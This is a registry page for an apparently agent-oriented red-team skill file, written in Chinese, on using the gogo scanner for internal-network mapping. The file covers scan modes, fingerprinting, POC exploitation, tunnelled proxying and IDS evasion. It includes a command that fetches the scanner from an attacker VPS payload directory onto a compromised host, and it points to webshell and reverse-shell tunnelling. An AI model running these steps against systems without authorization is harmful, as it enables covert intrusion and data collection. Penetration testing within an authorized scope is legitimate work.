agentleFS
better6666better6666/redteam-skills-portable/skills/gogo-intranet/SKILL.md

gogo-intranet

Skill9 starsChanged 25 days agoMITView on GitHub

gogo v2.15.0 高性能内网扫描引擎:智能/超智能模式、主动+被动指纹、关键信息提取(title/cert/JWT/邮箱/身份证)、nuclei 模板 POC、发包可控低噪声

The file

Files
SKILL.md

gogo(内网测绘与指纹引擎)

gogo = 高并发、低噪声、高度可配置的测绘引擎。链式反应出品,专为红队内网场景设计: 最小发包原则、主动+被动指纹、关键信息提取、内核级 POC 引擎(neutron,兼容 nuclei 模板)、 支持 DSL/workflow 自定义。先 gogo 铺面,再 fscan 打点。

与 fscan 的分工

gogofscan
强项大网段测绘、指纹、信息提取、可控发包弱口令爆破、未授权、高危漏洞、利用
默认噪声低(--opsec、线程/超时可调)高(600 线程 + 爆破 + POC 全开)
输出.dat(deflate JSON Lines)+ 格式化txt/json/csv
典型用法gogo -i 10.0.0.0/8 -m ss --ping -p top2,win,db --affscan -h 10.0.0.0/24 -nobr -nopoc

二进制

本机 : $DSH_HOME/redteam/toolkit/gogo/gogo                (v2.15.0,4.3MB,自带 3138 条指纹)
       $DSH_HOME/redteam/toolkit/gogo/gogo_windows_amd64.exe
       $DSH_HOME/redteam/toolkit/gogo/gogo_linux_arm64
VPS  : http://<你的VPS_IP>:9100/gogo                          (技能 vps-reverse-shell 的载荷目录)
文档 : https://chainreactors.github.io/wiki/gogo/
模板 : https://github.com/chainreactors/templates

# 跳到跳板机/目标上执行
curl -o gogo http://<你的VPS_IP>:9100/gogo && chmod +x gogo

安装脚本不下载 gogo,需自行放到主文件路径。Windows 与 ARM 文件同样要自己补;当前平台只用上面的主文件。

零依赖:单个静态二进制,指纹与提取规则全部内置,Windows 2003 都能跑。不需要额外配置文件。

纪律

  1. 范围:--exclude / --exclude-file 排除授权范围外网段,别把办公网和云元数据段扫了。
  2. 先探路再扫描:ip a; ip route; arp -a; cat /etc/hosts —— 内网拓扑往往能省掉一半扫描。
  3. OPSEC:敏感环境加 --opsec,线程压到 -t 200~500,超时 -d 3;大网段必须 --ping 先过滤。
  4. 不要 -p -(全端口)扫大网段,那是自杀式发包;先 top2 再对存活主机上全端口。

核心概念

端口预设(这工具的灵魂)

gogo -P port        # 列出全部预设 tag 与对应端口

常用 tag:top1(80,443,8080) · top2(数百个常见 Web/服务端口) · top3 · common(内网常用) · win(135,137,445,3389,winrm,oxid) · db · http · docker · oracle · smb · all(全集)

p 组合:-p top2,win,db          # 逗号任意组合
p 范围:-p 1-1000               # 区间
p 全部:-p -                    # 等于 1-65535(慎用)
p 单点:-p 6379,mysql,12345

三种扫描模式

模式参数适用
default(默认)单 IP / 小网段(/24 以内)
smart-m s/24~/16,AB 段探测 + 启发式发散
supersmart-m ss/16 以上大内网,先探点再筛选网段
sc-m sc已知目标段、要更细的端口覆盖
gogo -i 192.168.1.0/24 -m s  --ping -p top2,win,db --af
gogo -i 10.0.0.0/8    -m ss --ping -p top2,win,db --af

workflow(把复杂命令存成预设)

gogo -P workflow     # 列出全部 workflow
gogo -w 10           # 等价于扫 10.0.0.0/8 的 supersmart 全流程(all 端口)
gogo -w 172          # 172.16.0.0/12
gogo -w 192          # 192.168.0.0/16
gogo -w interc       # 内网常见 C 段(10/172/192 三段)
gogo -w 10 -i 11.0.0.0/8 -p top2   # 命令行可覆盖 workflow 参数

参数速查(实测 v2.15.0 -h)

多字符长参数必须双横线:--ipp、--sp、--ef、--af。单横线只给 -i/-p/-m/-t/-d/-e/-v/-w/-F/-l/-L/-j 这类单字符。

输入

-i/--ip   192.168.1.1/24,172.16.1.1/24   目标,逗号分隔多个
--exclude 10.0.0.1/24        --exclude-file <file>
-l <file> 目标列表文件        -L  从 stdin 读目标
-j <file> 复用上次结果(.dat)或 ip:port 列表,继续深挖     -J  从 stdin 读

输出

-f <file>        输出文件名         --path  输出目录
-o <fmt>         命令行输出格式     -O <fmt>  文件输出格式(默认 jsonlines)
--af             自动命名输出文件(.dat,deflate JSON Lines)
--hf             自动命名隐藏文件   -C  关闭压缩      --tee  同时保留控制台输出
-q/--quiet       关日志只留结果(联动其他工具必加)
-F <file>        格式化已有 .dat 结果
--filter / --output-filter / --scan-filter   历史过滤 / 实时过滤 / 提前停止

智能扫描

-m/--mod  default|s|ss|sc    扫描模式
--ping                       先 ICMP 过滤(大网段必须)
-n/--no                      只做智能扫描,不进入默认扫描
--sp   smart 端口探针(默认 80,ss 模式默认 icmp)
--ipp  AB 段 IP 探针(默认 1,254)

性能与隐蔽

-t/--thread <n>     并发(linux 默认 4000,内网建议 200~1000)
-d/--timeout <秒>   超时(默认 2)
-D/--ssl-timeout     SSL 超时
--opsec             低噪声模式(敏感环境开)
-s/--spray          端口优先喷洒(端口数 >500 自动启用)
--no-spray          强制关闭喷洒

指纹与提取

-v/--verbose         主动指纹识别(不发这个只有被动指纹,信息少但安静)
--ff <file>          自定义指纹库
--extract "<regex>"  自定义提取正则
gogo -P extract      查看内置提取规则(jwt / mail / idcard / phone / ip 等)

漏洞(neutron 内核)

-e/--exploit         开启 POC 扫描(与 -v 合用写作 -ev)
-E <name>            指定模板名        --ef <file>  指定模板文件
--payload <s>        指定 payload      --attack-type sniper|clusterbomb|pitchfork

代理

--proxy socks5://127.0.0.1:11111      # 实测可用,走 suo5 / ssh -D 隧道

标准作业流程(SOP)

# 0) 探路
ip a; ip route; arp -a; cat /etc/hosts /etc/resolv.conf

# 1) 大网段测绘(安静、先探活、结果落文件)
./gogo -i 10.0.0.0/16 -m ss --ping -p top2,win,db --af -t 500 -d 3

# 2) 看结果(human-like)
./gogo -F ./.10.0.0.0_16_top2_win_db_ss_dat

# 3) 对存活主机上全端口 + 主动指纹
./gogo -i 10.0.1.0/24 -p - -v -t 1000 -d 3 --af

# 4) 定向打 POC(只对确认有指纹的目标)
./gogo -i 10.0.1.5,10.0.1.9 -p top2 -ev -E <模板名>

# 5) 复用上一步结果继续深挖(不用重扫)
./gogo -j ./step1.dat -p 1-65535 -v -e

走隧道测绘(内网渗透主路径)

# 前提:技能 suo5-tunnel 建好 socks5,或 vps-reverse-shell 里 ssh -D
./gogo -i 10.0.0.0/16 -m ss --ping -p top2,win,db --af \
       --proxy socks5://127.0.0.1:1080 -t 300 -d 5 -q

# 实测:gogo --proxy socks5:// 会把流量真正送进隧道(经 VPS 扫到的是 VPS 的 SSH 指纹)

隧道场景把 -t 降到 300 以内、-d 提到 5,否则隧道会丢包误判。

结果落库(必须做)

gogo 的 .dat 是压缩 JSON Lines,先格式化再解析入库:

./gogo -F ./result.dat -o json -f result.json      # 转成 JSON(实测产物结构见下)
python3 tools/parse.py result.json
# 解析要点:顶层是 {config, ip, data:[...]},每条含 ip/port/protocol/status/frameworks/title/timing
import json
d = json.load(open('result.json', encoding='utf-8'))
for it in d.get('data', []):
    fw = ','.join((it.get('frameworks') or {}).keys())
    print(it.get('ip'), it.get('port'), it.get('protocol'), fw, it.get('title'))
# 实测单条:{"ip":"10.0.0.5","port":"22","protocol":"tcp","status":"open",
#             "frameworks":{"ssh":{"name":"ssh","attributes":{"version":"10.3p1"}}},
#             "title":"SSH-2.0-OpenS","timing":26}
# 入库纪律(与 fscan 相同)
redteam_asset_add      { engagement, ip, port, service, title, source: "gogo", tags: [...] }
redteam_web_list       # 之后由 web 指纹技能补充 URL/标题
redteam_vuln_add       { engagement, target, name, severity, evidence_ref }   # 必须配证据

注意:gogo 的框架/指纹结果写进 asset 的 fingerprint 字段,不要只留在终端里。 扫到的敏感信息提取结果(邮箱/身份证/JWT)属于「大量敏感信息」得分点,用 redteam_vuln_add + redteam_score_hit 记录,证据落 runs/。

排障

现象处理
参数报错长参数用双横线(--af 不是 -af),-P 只接受 port/workflow/neutron/extract
结果文件找不到--af 写在二进制同目录,加 --path 指定目录
大网段几乎没结果--ping 会漏掉禁 ping 主机;去掉 --ping 或改 --ipp 调整探针
扫描太慢提高 -t、降低 -d;-p 换成 top1/top2;大网段用 -m ss
被 IDS 发现--opsec + -t 200 + -d 3;不要开 -e;不要 -p -
隧道里大量超时降 -t、升 -d,隧道带宽是瓶颈
想只看结果不看日志-q(联动其他工具必加)

相关技能

  • fscan-intranet:铺面之后的爆破与利用
  • suo5-tunnel:WebShell → SOCKS5,给 gogo 提供 --proxy 入口
  • vps-reverse-shell:隧道与载荷投递
  • web-fingerprint / asset-correlation:把 gogo 的结果进一步关联成资产图谱

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.